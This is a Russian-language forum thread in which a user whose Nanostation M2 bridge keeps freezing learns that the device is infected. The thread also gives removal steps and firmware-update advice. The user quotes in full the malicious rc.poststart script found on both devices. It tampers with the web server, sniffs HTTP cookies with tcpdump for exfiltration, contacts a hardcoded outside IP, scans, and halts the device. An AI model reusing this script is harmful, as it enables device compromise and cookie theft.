[avgaz]

Сообствено примерно через год использования моста на Nanostation M2 одна из точек начала глючить, примерно раз может и два раза в сутки зависает, то есть пропадает связь между точками и на зависшею точку не зайти, помогает только откл и вкл питания, после опять работает нормально связь между нормальная -67 dBm.

Может кто сталкивался с этим?

[mintaka]

Для начала полный сброс и прошивку по-новее... это хотя бы попробывать

[avgaz]

Для начала полный сброс и прошивку по-новее... это хотя бы попробывать

Сброс делал, прошику не перешивал да и не думаю что она тут в чем то виновата. поменял местами точки думал если проблема в антенне то которая не виснет удобнее перезагружать у себя, по после того какпоменял местами опять стала виснуть уже другая на прежней точке, поменяли пачкорд не помогло, уже даже не знаю в чем дело, может роутер который стоит за точкой виноват?

[Badyavka]

проблему не решит, но включи вотчдог, чтобы она сама перезагружалась если пинги пропадут...

[Halva]

Скорее всего проблема в недостаточном питании устройства.

[Adim]

кабель какой?

[avgaz]

но включи вотчдог, чтобы она сама перезагружалась если пинги пропадут...

Если можно подробней про что это, а то становится не удобно звонить в час ночи на точку что бы перезагрузили.

Скорее всего проблема в недостаточном питании устройства.

Пробовали менял БП не помогло

кабель какой?

Блала обчная не дорогая витая пара, которая простояла около года, то же с начало на это подумал поменяли результата ноль

NS установлена на болконе и подклюючена к роутеру который за окном кабеля не много осадки на него не попадают.

[Adim]

а может человеческий фактор)))) кто то её сам вешает... вредитель какой нить

[NewUse]

Посмотрите нет ли в /etc/persistent файлов вида rc.*

[avgaz]

Посмотрите нет ли в /etc/persistent файлов вида rc.*

Это на антенне? как посотреть?

[endryww]

Это на антенне? как посотреть?

--разобрать!! ну или WinSCP

[avgaz]

Если я правильно понял то содержимое такое

XM.v5.3.3# cd /etc/persistent
XM.v5.3.3# ls
dropbear_dss_host_key  mcuser
dropbear_rsa_host_key  rc.poststart

Вопрос а по ssh можно где посотреть может лог какой почему зависает антенна?

Изменено 18 марта, 2013 пользователем avgaz

[NewUse]

Если я правильно понял то содержимое такое

Да, файл rc.poststart, если Вы его не создавали, то это вирус.

cd /etc/persistent
cat rc.poststart
rm rc.poststart
save
reboot

Вопрос а по ssh можно где посотреть может лог какой почему зависает антенна?

/var/log обыно, ну и через веб-морду, но правильнее настроить syslog на отправку на внешний сервер.

[Adim]

вопрос в тему ...как настроить что бы лог писался к примеру на компьютер с ip адресом 192.168.1.2 в определённую папку? например C:\Log

[SSD]

вопрос в тему ...как настроить что бы лог писался к примеру на компьютер с ip адресом 192.168.1.2 в определённую папку? например C:\Log

Поднимаете на компе с адресом 192.168.1.2 syslog, в настройках которого указываете сохранять в C:\Log.

[avgaz]

Да, файл rc.poststart, если Вы его не создавали, то это вирус.

Спасибо большое действительно на обоих точках был этот файл с таким содержанием

#!/bin/sh
sed -i 's/\/usr\/www/\/etc\/persistent\/.skynet/g' /etc/lighttpd.conf
kill -9 `ps | grep "lighttpd -D" | cut -d" " -f 3`
ip=`ifconfig ath0 | grep inet | sed "s/.*inet addr:\([^ ]*\).*/\1/g"`

#sleep 60 && trigger_url http://178.216.144.75/probe.cgi/.gif?ip=$ip &

if [ -e /bin/tcpdump ]; then
tcpdump -A -s 0 -w - -l "tcp dst port 80" | grep "^Cookie: " | grep "xs=" >/etc/
/etc/persistent/.skynet/sendcook &
fi
(sleep 20 ; /etc/persistent/.skynet/scan) &
(sleep 100400 ; sleep 42 ; halt) &

 

Удалил посмотри на результат. Но хотелось бы понять как он туда попал, вернее где искать источник заразы? что бы повторно он там не появился?

[NewUse]

что бы повторно он там не появился?

Это одна из разновидностей вируса skynet, необходимо обновить пошивку, до версии 5.3.5 или выше, в них пофиксена уязвимость.

Но хотелось бы понять как он туда попал

Из интернета или от пользователей сети

что бы повторно он там не появился?

А вот чтоб он или любо другой вирус там не появился -- надо сеть нормально проектировать, озаботившись минимально защитой, например, выделив всю административную сеть в отдельный "менеджмент-вилан", отделив от сети доступа.

А для удалённого управления использовать тоннель, тот же ссш/пптп.